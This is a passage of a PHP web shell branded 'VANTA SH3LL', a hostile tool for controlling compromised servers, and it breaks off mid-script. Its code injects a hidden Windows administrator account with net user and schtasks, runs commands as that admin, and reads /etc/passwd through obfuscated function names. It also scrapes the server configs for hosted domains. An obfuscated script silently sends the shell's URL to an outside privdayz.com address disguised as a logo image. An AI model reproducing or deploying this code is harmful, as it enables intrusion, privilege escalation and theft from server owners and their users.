"powershell -Command \"Start-Process cmd -ArgumentList '/c net user $u $p /add && net localgroup Administrators $u /add' -Verb runAs\""
];

$methods[] = [
"[*] Task Scheduler V2 (schtasks)",
"schtasks /create /tn winr00t2 /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onlogon /ru System"
];

foreach ($methods as $step) {
list($label, $cmd) = $step;
wout($label . "...");
$res = prvd_exec_with_timeout($cmd, 9);
wout($res);
if (
stripos($res, 'success') !== false || stripos($res, 'ok') !== false ||
stripos($res, 'ReturnValue = 0') !== false ||
stripos($res, 'başarı') !== false ||
stripos($res, 'already exists') !== false
) {
wout("[+] Admin user injected!");
$success = true;
break;
}
sleep(1);
}

if ($success) {
$_SESSION['v4nt4_winr00t_success'] = true;
$_SESSION['v4nt4_winr00t_user'] = $u;
$_SESSION['v4nt4_winr00t_pass'] = $p;
wout("\n[+] 0wn3d! Admin user injected:\n[+] User: $u\n[+] Pass: $p");
wout("[!] Info: Webshell cannot send commands as this user. Use RDP/SMB/WinRM with these credentials!");
} else {
$_SESSION['v4nt4_winr00t_success'] = false;
wout("\n[!] r00t failed :: no vector worked, permission denied.");
}
}
if ($_SESSION['v4nt4_winr00t_success']) {
$u = $_SESSION['v4nt4_winr00t_user'];
$p = $_SESSION['v4nt4_winr00t_pass'];

</pre>

<div style="display:flex;align-items:center;gap:10px;flex-wrap:wrap;">



<button class="vanta-cmd-btn" style="min-width:95px;background:#e53935;"><i class="fas fa-bolt"></i> Run as Admin</button>
</div>
<div style="font-size:.96em;color:#fff;margin-top:5px;">
[+] Running as =htmlspecialchars($u) &nbsp;|&nbsp; Pass: =htmlspecialchars($p)
</div>

<pre class="vanta-cmd-output" style="background:#181818;color:#aaffbb;padding:14px;border-radius:8px;min-height:40px;margin-bottom:14px;">

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['admc'], $_POST['user'], $_POST['pass'])) {
$u = $_POST['user'];
$p = $_POST['pass'];
$c = $_POST['admc'];
$success_cmd = false;
$cmdfile = "C:\\Windows\\Temp\\pzadmcmd_" . rand(10000, 99999) . ".txt";

wout("[*] schtasks as admin...");
$scht = "schtasks /create /tn pzadmtask /tr \"cmd.exe /c $c > $cmdfile 2>&1\" /sc once /st 00:00 /ru \"$u\" /rp \"$p\"";
$out1 = v4nt4C($scht.' 2>&1');
wout($out1);

v4nt4C("schtasks /run /tn pzadmtask 2>&1");
sleep(1);
$output = @file_get_contents($cmdfile);
if ($output && strlen($output) > 0) {
wout("[+] Command executed as admin!\n" . $output);
$success_cmd = true;
}
@v4nt4C('schtasks /delete /tn pzadmtask /f 2>&1');
@unlink($cmdfile);
if (!$success_cmd) {
wout("[*] Trying service method...");
$svc = 'sc create pzadmsvc binPath= "cmd /c '.$c.' > '.$cmdfile.' 2>&1" obj= ".\\'.$u.'" password= "'.$p.'" start= demand';
$out2 = v4nt4C($svc.' 2>&1');
wout($out2);
v4nt4C('sc start pzadmsvc 2>&1');
sleep(1);
$output2 = @file_get_contents($cmdfile);
if ($output2 && strlen($output2) > 0) {
wout("[+] Service method: Command executed as admin!\n" . $output2);
$success_cmd = true;
}
@v4nt4C('sc delete pzadmsvc 2>&1');
@unlink($cmdfile);
}

if (!$success_cmd) {
wout("[*] PowerShell fallback...");
$pw = 'powershell -Command "Start-Process cmd -ArgumentList \'/c '.$c.' > '.$cmdfile.' 2>&1\' -Credential (New-Object System.Management.Automation.PSCredential(\''.$u.'\',(ConvertTo-SecureString \''.$p.'\' -AsPlainText -Force))) -WindowStyle Hidden"';
$out3 = v4nt4C($pw.' 2>&1');
wout($out3);
sleep(1);
$output3 = @file_get_contents($cmdfile);
if ($output3 && strlen($output3) > 0) {
wout("[+] PowerShell: Command executed as admin!\n" . $output3);
$success_cmd = true;
}
@unlink($cmdfile);
}

if (!$success_cmd) {
wout("[!] Admin command failed. Try RDP / manual login?");
}
}

</pre>
}
</div>
</div>
<script>
window.onload = function() {
var el = document.getElementById('winr00t-output');
el.scrollTop = el.scrollHeight;
}
</script>
<style>
a.privd-link, a.privd-link:visited { color:#e53935!important; text-decoration:underline; }
a.privd-link:hover { color:#b71c1c!important; }
</style>
else:

<div class="v4nt4-lite-uname">
<span class="v4nt4-lite-dot"></span>
= Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;
</div>
<div class="v4nt4-lite-info">
<div class="v4nt4-lite-row">
<span class="v4nt4-lite-key">safe mode:</span>
<span class="v4nt4-lite-val = ini_get('safe_mode') ? 'v4nt4-lite-on' : 'v4nt4-lite-off' ">
= ini_get('safe_mode') ? 'ON' : 'OFF';
</span>
</div>
<div class="v4nt4-lite-row"><span class="v4nt4-lite-key">disable functions:</span>

$d1sxb = trim(ini_get('disable_functions'), ", \t\n\r\0\x0B");
if (!$d1sxb) {
echo '<span class="v4nt4-lite-val v4nt4-lite-on" style="background:#eafff5;">None</span>';
} else {
echo '<span class="v4nt4-lite-val v4nt4-lite-off" style="white-space:normal;">'
. str_replace(",", ", ", $d1sxb)
. '</span>';
}

</div>
</div>
<div class="v4nt4-filelist-root">
<div class="vanta-fm-actions">
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &createfolder" class="vanta-fm-btn" title="New Folder">
<i class="fas fa-folder-plus"></i> <span>create folder</span>
</a>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &createfile" class="vanta-fm-btn" title="New File">
<i class="fas fa-file-circle-plus"></i> <span>create file</span>
</a>


<button type="submit" name="privdayz-up-submit" class="vanta-fm-btn vanta-fm-btn-green">
<i class="fas fa-circle-check"></i> <span>byp4ss up</span>
</button>



<button type="submit" name="w4f-up-submit" class="vanta-fm-btn vanta-fm-btn-green">
<i class="fas fa-circle-check"></i> <span>byp4ss up2</span>
</button>

</div>


<div class="v4nt4-filelist-body">
<div class="v4nt4-lite-breadcrumb">

$VANTAf1l3 = $VANTAxas[1]("{.[!.],}*", GLOB_BRACE);
$VANTAc2w = $VANTAxas[0]();
$fn_str_replace = _vnt_str([115,116,114,95,114,101,112,108,97,99,101]);
$fn_explode = _vnt_str([101,120,112,108,111,100,101]);
$fn_trim = _vnt_str([116,114,105,109]);
$cwd = $fn_str_replace("\\", "/", $VANTAc2w);
$pwd = $fn_explode("/", $fn_trim($cwd, "/"));
$build = "";
echo '<a href="?VANTA=' . (is_callable($fxnxs) ? $fxnxs('/') : vanta_PR1V('/')) . '" class="v4nt4-lite-bc">/</a>';
foreach ($pwd as $i => $v) {
$build .= "/" . $v;
echo '<a href="?VANTA=' . (is_callable($fxnxs) ? $fxnxs($build) : vanta_PR1V($build)) . '" class="v4nt4-lite-bc">' . $v . '</a>/';
}

</div>
foreach ($VANTAf1l3 as $_D):
if ($VANTAxas[2]($_D)):
<div class="v4nt4-file-row v4nt4-dir">
<span class="v4nt4-file-col v4nt4-file-check">

</span>
<span class="v4nt4-file-col v4nt4-file-icon"><i class="fa-solid fa-folder-open"></i></span>
<span class="v4nt4-file-col v4nt4-file-name">
<a href="?VANTA== vanta_PR1V($VANTAxas[0]() . '/' . $_D); " class="v4nt4-file-link">= prvFx1($_D); </a>
</span>
<span class="v4nt4-file-col v4nt4-file-perm">= p3rms($VANTAxas[0]() . '/' . $_D); </span>
<span class="v4nt4-file-col v4nt4-file-size"></span>
<span class="v4nt4-file-col v4nt4-file-actions">
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()); &re== vanta_PR1V($_D) " title="Rename"><i class="fa-regular fa-pen-to-square"></i></a>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()); &ch== vanta_PR1V($_D) " title="Chmod"><i class="fa-solid fa-user-gear"></i></a>
</span>
</div>
endif;
endforeach;
foreach ($VANTAf1l3 as $_F):
if ($VANTAxas[3]($_F)):
$ext = strtolower(pathinfo($_F, PATHINFO_EXTENSION));
<div class="v4nt4-file-row v4nt4-file">
<span class="v4nt4-file-col v4nt4-file-check">

</span>
<span class="v4nt4-file-col v4nt4-file-icon">
if ($ext === 'php'):
<i class="fa-brands fa-php"></i>
elseif (in_array($ext, ['jpg','jpeg','png','gif','webp','svg'])):
<i class="fa-regular fa-image"></i>
elseif (in_array($ext, ['zip','rar','gz','tar','7z'])):
<i class="fa-solid fa-box-archive"></i>
elseif (in_array($ext, ['txt','md','log'])):
<i class="fa-regular fa-note-sticky"></i>
elseif ($ext === 'js'):
<i class="fa-brands fa-js"></i>
elseif ($ext === 'css'):
<i class="fa-brands fa-css3-alt"></i>
elseif (in_array($ext, ['html','htm'])):
<i class="fa-brands fa-html5"></i>
elseif (in_array($ext, ['json','yaml','yml','xml'])):
<i class="fa-solid fa-code"></i>
elseif (in_array($ext, ['mp3','wav','flac'])):
<i class="fa-solid fa-headphones"></i>
elseif (in_array($ext, ['mp4','avi','mov','webm','mkv'])):
<i class="fa-solid fa-film"></i>
else:
<i class="fa-regular fa-file"></i>
endif;
</span>
<span class="v4nt4-file-col v4nt4-file-name"><a href="?VANTA== vanta_PR1V($VANTAxas[0]()); &f== vanta_PR1V($_F); " class="v4nt4-file-link">= prvFx1($_F); </a>
<span class="v4nt4-file-ext">= strtoupper($ext) </span>
</span>
<span class="v4nt4-file-perm = is_writable($VANTAxas[0]() . '/' . $_F) ? 'v4nt4-file-writable' : 'v4nt4-file-readonly' ">
<i class="fas = is_writable($VANTAxas[0]() . '/' . $_F) ? 'fa-unlock-alt v4nt4-perm-green' : 'fa-lock v4nt4-perm-red' "></i>
= p3rms($VANTAxas[0]() . '/' . $_F);
</span>
<span class="v4nt4-file-size-badge">
= vantaFormat(filesize($_F));
</span>
<span class="v4nt4-file-col v4nt4-file-actions">
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()); &re== vanta_PR1V($_F) " title="Rename"><i class="fa-solid fa-pen"></i></a>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()); &ch== vanta_PR1V($_F) " title="Chmod"><i class="fa-solid fa-key"></i></a>
<a href="?action=delete&item== vanta_PR1V($_F) " title="Delete"><i class="fa-solid fa-trash"></i></a>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()); &don== vanta_PR1V($_F) " title="Download"><i class="fa-solid fa-download"></i></a></span>
</div>

endif;
endforeach;
</div>
<div class="v4nt4-filelist-foot">
<select name="privdayz-select" class="v4nt4-filelist-select">
<option value="delete">delete</option>
<option value="unzip">unzip</option>
<option value="zip">zip</option>
</select>
<button type="submit" name="submit-action" class="v4nt4-filelist-btn"><i class="fa-solid fa-play"></i> submit</button>
</div>

</div>
endif;
</div>VANTA SH3LL v1.0 - join telegram channel: <a href="https://t.me/privdayz">https://t.me/privdayz</a>
</div>
</div>
if (isset($_GET['passwd'])) :
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:600px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#607d8b;"><i class="fas fa-key"></i></div>
<div>
<div class="v4nt4-wiz-title">read passwd</div>
<div class="v4nt4-wiz-desc">view /etc/passwd</div>
</div>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-modal-close-wiz">&times;</a>
</div><div class="v4nt4-wiz-section" style="padding:20px 24px;">
<textarea readonly class="v4nt4-wiz-input" style="
width:100%; min-height:240px; max-height:440px; font-size:1.07em; background:#fff4f4; color:#374151;
border:1.3px solid #ddecec; border-radius:10px; font-family:'Recursive','Fira Mono',monospace;
padding:14px 11px; box-sizing:border-box; line-height:1.52;
">
$Vt5 = function($q){$k='';foreach($q as $b){$k.=chr($b);}return $k;};
$gZx = '';
$UyB = [47,101,116,99,47,112,97,115,115,119,100];
$FTy = [99,97,116,32,47,101,116,99,47,112,97,115,115,119,100];
$UoX = $Vt5([105,115,95,114,101,97,100,97,98,108,101]);
$Jga = $Vt5([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$U7w = $Vt5([102,117,110,99,116,105,111,110,95,101,120,105,115,116,115]);
$Acg = $Vt5([115,104,101,108,108,95,101,120,101,99]);
$Vrv = $Vt5([101,120,101,99]);
$JHd = $Vt5([105,109,112,108,111,100,101]);
$Lcy = $Vt5([104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115]);
if(@$U7w($UoX) && @$UoX($Vt5($UyB))){
$gZx = @$Jga($Vt5($UyB));
}
if(!$gZx && @$U7w($Acg)){
$gZx = @$Acg($Vt5($FTy));
}
if(!$gZx && @$U7w($Vrv)){
$d90 = [];
@$Vrv($Vt5($FTy), $d90);
$gZx = @$JHd("\n", $d90);
}
if(!$gZx){
$gZx = "Could not read /etc/passwd (permission denied or disabled functions)";
}
echo $Lcy($gZx);

</textarea></div>
</div>
</div>
endif;
if (isset($_GET['domains'])) :
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:620px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#fff;"><i class="fas fa-globe"></i></div>
<div>
<div class="v4nt4-wiz-title">domains</div>
</div>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-modal-close-wiz">&times;</a></div>
<div class="v4nt4-wiz-section" style="padding:19px 24px;">
<label style="font-size:.99em;color:#bfff9b;margin-bottom:7px;display:block;">Detected domains:</label>
<textarea readonly class="v4nt4-wiz-input" style="
width:100%; min-height:190px; max-height:440px; font-size:1.07em; background:#eaf6ff; color:#004d77;
border:1.3px solid #bde4fa; border-radius:10px; font-family:'Recursive','Fira Mono',monospace;
padding:14px 11px; box-sizing:border-box; line-height:1.49;
">

$Zyu = function($q){$k='';foreach($q as $b){$k.=chr($b);}return $k;};
$_mn6z = [];
$_d1z = [47,101,116,99,47,110,97,109,101,100,46,99,111,110,102];
$_d2z = [47,101,116,99,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102];
$_d3z = [47,118,97,114,47,99,112,97,110,101,108,47,117,115,101,114,100,97,116,97,47];
$_d4z = [47,117,115,114,47,108,111,99,97,108,47,100,105,114,101,99,116,97,100,109,105,110,47,100,97,116,97,47,117,115,101,114,115,47];
$_d5z = [47,101,116,99,47,118,105,114,116,117,97,108,47,100,111,109,97,105,110,115];
$_d6z = [47,118,97,114,47,110,97,109,101,100,47];
$_d7z = [47,101,116,99,47,110,103,105,110,120,47,115,105,116,101,115,45,101,110,97,98,108,101,100,47];
$_d8z = [47,118,97,114,47,119,119,119,47,118,104,111,115,116,115,47];
$_d9z = [47,118,97,114,47,119,119,119,47,99,108,105,101,110,116,115,47,99,108,105,101,110,116,42,47,119,101,98,42];
$_hcz = [47,101,116,99,47,104,111,115,116,115];
$fcZ = $Zyu([105,115,95,114,101,97,100,97,98,108,101]);
$flZ = $Zyu([102,105,108,101]);
$fgZ = $Zyu([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$fdZ = $Zyu([102,105,108,101,95,100,111,116,46,103,101,116,95,99,111,110,116,101,110,116,115]);
$fpZ = $Zyu([112,114,101,103,95,109,97,116,99,104]);
$fpaZ = $Zyu([112,114,101,103,95,109,97,116,99,104,95,97,108,108]);
$fdZ2 = $Zyu([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$faZ = $Zyu([97,114,114,97,121,95,117,110,105,113,117,101]);
$famZ = $Zyu([97,114,114,97,121,95,109,101,114,103,101]);
$fafZ = $Zyu([97,114,114,97,121,95,102,105,108,116,101,114]);
$ftrZ = $Zyu([116,114,105,109]);
$fidZ = $Zyu([105,115,95,100,105,114]);
$fgbZ = $Zyu([103,108,111,98]);
$fbsZ = $Zyu([98,97,115,101,110,97,109,101]);
$fexZ = $Zyu([101,120,112,108,111,100,101]);
$fsZ = $Zyu([115,116,114,116,111,108,111,119,101,114]);
$fosZ = $Zyu([80,72,80,95,79,83]);
$fssZ = $Zyu([115,117,98,115,116,114]);
$fgnZ = $Zyu([103,101,116,101,110,118]);
$fhZ = $Zyu([104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115]);

if(@$fcZ($Zyu($_d1z))){
$l = @$flZ($Zyu($_d1z));
foreach($l as $line){
if(preg_match('#zone\s+"([^"]+)"#',$line,$m)){
$d=$ftrZ($m[1]);
if($d && $d!=='localhost') $_mn6z[]=$d;
}
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_d2z))){
$c=@$fgZ($Zyu($_d2z));
preg_match_all('#ServerName\s+([^\s]+)#i', $c, $matches);
if(!empty($matches[1])) $_mn6z=@$faZ(@$famZ($_mn6z,$matches[1]));
}
if(empty($_mn6z) && @$fidZ($Zyu($_d3z))){
foreach(@$fgbZ($Zyu($_d3z).'*') as $file){
$l=@$flZ($file);
foreach($l as $line){
if(preg_match('#^domain:\s*(\S+)#',$line,$m)){
$_mn6z[]=$m[1];
}
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d4z))){
foreach(@$fgbZ($Zyu($_d4z).'*'.'/domains.list') as $file){
$l=@$fdZ($file, 128);
foreach($l as $d) if($d) $_mn6z[]=$d;
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_d5z))){
$l=@$flZ($Zyu($_d5z));
foreach($l as $d) if($ftrZ($d)) $_mn6z[]=$ftrZ($d);
}
if(empty($_mn6z)){
foreach(@$fgbZ($Zyu($_d6z). '*.db') as $file){
$n=@$fbsZ($file,'.db');
if($n && $n!=='localhost') $_mn6z[]=$n;
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d7z))){
foreach(@$fgbZ($Zyu($_d7z).'*') as $file){
$l=@$flZ($file);
foreach($l as $line){
if(preg_match('#server_name\s+([^;]+)#',$line,$m)){
$arr=explode(' ',$m[1]);
foreach($arr as $d){
$d=trim($d," ;\t\n\r");
if($d && $d!=='_' && $d!=='localhost') $_mn6z[]=$d;
}
}
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d8z))){
foreach(@$fgbZ($Zyu($_d8z).'*') as $dir){
if(@$fidZ($dir) && preg_match('#/vhosts/([^/]+)$#',$dir,$m)){
$_mn6z[]=$m[1];
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d9z))){
foreach(@$fgbZ($Zyu($_d9z)) as $dir){
$_mn6z[]=@$fbsZ($dir);
}
}
if(empty($_mn6z) && strtoupper(substr(PHP_OS,0,3))===$Zyu([87,73,78])){
$env=@$fgnZ($Zyu([83,121,115,116,101,109,68,114,105,118,101])).$Zyu([92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,105,110,101,116,115,114,118,92,99,111,110,102,105,103,92,97,112,112,108,105,99,97,116,105,111,110,72,111,115,116,46,99,111,110,102]);
if(@$fcZ($env)){
$l=@$flZ($env);
foreach($l as $line){
if(preg_match('/bindingInformation="[^:]+:([^:]+):([^"]+)"/',$line,$m)){
$d=trim($m[2]);
if($d && $d!=='localhost' && strpos($d,'*')===false) $_mn6z[]=$d;
}
}
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_hcz))){
$l=@$flZ($Zyu($_hcz));
foreach($l as $line){
if(preg_match('/\s([a-z0-9\.-]+\.[a-z]{2,})/i',$line,$m)){
$d=$fsZ($ftrZ($m[1]));
if($d && strpos($d,'localhost')===false) $_mn6z[]=$d;
}
}
}
$_mn6z=@$faZ(@$fafZ(array_map($ftrZ,$_mn6z)));
echo $_mn6z ? implode("\n",$_mn6z) : "No domains found (no access or no domains configured)";

</textarea>
</div>
</div>
</div>
endif;
if (isset($_GET['createfolder'])):
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#a8ffa0;"><i class="fas fa-folder-plus"></i></div>
<div>
<div class="v4nt4-wiz-title">create folder</div>
</div>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-modal-close-wiz">&times;</a>
</div>

<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">


</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
<i class="fas fa-plus"></i> create
</button>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-wiz-btn v4nt4-wiz-btn-light">
<i class="fas fa-times"></i> back
</a>
</div>


if (isset($_POST['create_folder']) && $_POST['create_folder']) {
$folder = basename($_POST['create_folder']);
$full_path = rtrim($VANTAxas[0](), "/") . "/" . $folder;
if (!file_exists($full_path)) {
$created = @mkdir($full_path, 0755, true);
if ($created) {
echo '<div style="color:#10b981;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-check-circle"></i> Folder created: ' . htmlspecialchars($folder) . '</div>';
} else {
echo '<div style="color:#e53935;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-times-circle"></i> Failed to create folder!</div>';
}
} else {
echo '<div style="color:#b71c1c;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-exclamation-circle"></i> Folder already exists!</div>';
}
}

</div>
</div>
endif;
if (isset($_GET['createfile'])):
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#a8ffa0;"><i class="fas fa-file-circle-plus"></i></div>
<div>
<div class="v4nt4-wiz-title">create file</div>
</div>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-modal-close-wiz">&times;</a>
</div>

<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-section-icon"><i class="fas fa-file-alt"></i></div>
<div class="v4nt4-wiz-fields">


</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz" style="background:#a8ffa0;border-color:#b31515;">
<i class="fas fa-plus"></i> create
</button>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-wiz-btn v4nt4-wiz-btn-light">
<i class="fas fa-times"></i> back
</a>
</div>


if (isset($_POST['create_file']) && $_POST['create_file']) {
$new_file = basename($_POST['create_file']);
$full_path = rtrim($VANTAxas[0](), "/") . "/" . $new_file;
if (!file_exists($full_path)) {
$created = @file_put_contents($full_path, "");
if ($created !== false) {
echo '<div style="color:#10b981;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-check-circle"></i> File created: ' . htmlspecialchars($new_file) . '</div>';
} else {
echo '<div style="color:#e53935;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-times-circle"></i> Failed to create file!</div>';
}
} else {
echo '<div style="color:#b71c1c;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-exclamation-circle"></i> File already exists!</div>';
}
}

</div>
</div>
endif;


if (!empty($_GET['re'])) :
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div><div class="v4nt4-wiz-title">rename = unx($_GET['re']) </div>
</div>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-modal-close-wiz">&times;</a>
</div>

<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">


</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
change
</button>

</div>

</div>
</div>
endif;

if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item']) && $_GET['item'] !== '') {
$item = basename(unx($_GET['item']));
$repl = str_replace("\\", "/", $VANTAxas[0]());
$fd = $repl . "/" . $item;

if (is_file($fd)) {
if (unlink($fd)) {
success();
} else {
failed();
}
} elseif (is_dir($fd)) {
if (rmdirRecursive($fd)) {
success();} else {
failed();
}
} else {
failed();
}
}

if (!empty($_GET['ch'])) :
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div>
<div class="v4nt4-wiz-title">change permission</div>
<div class="v4nt4-wiz-desc">= unx($_GET['ch']) </div>
</div>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-modal-close-wiz">&times;</a>
</div>

<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">


</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
change
</button>

</div>

</div>
</div>
endif;
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>(()=>{let u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table 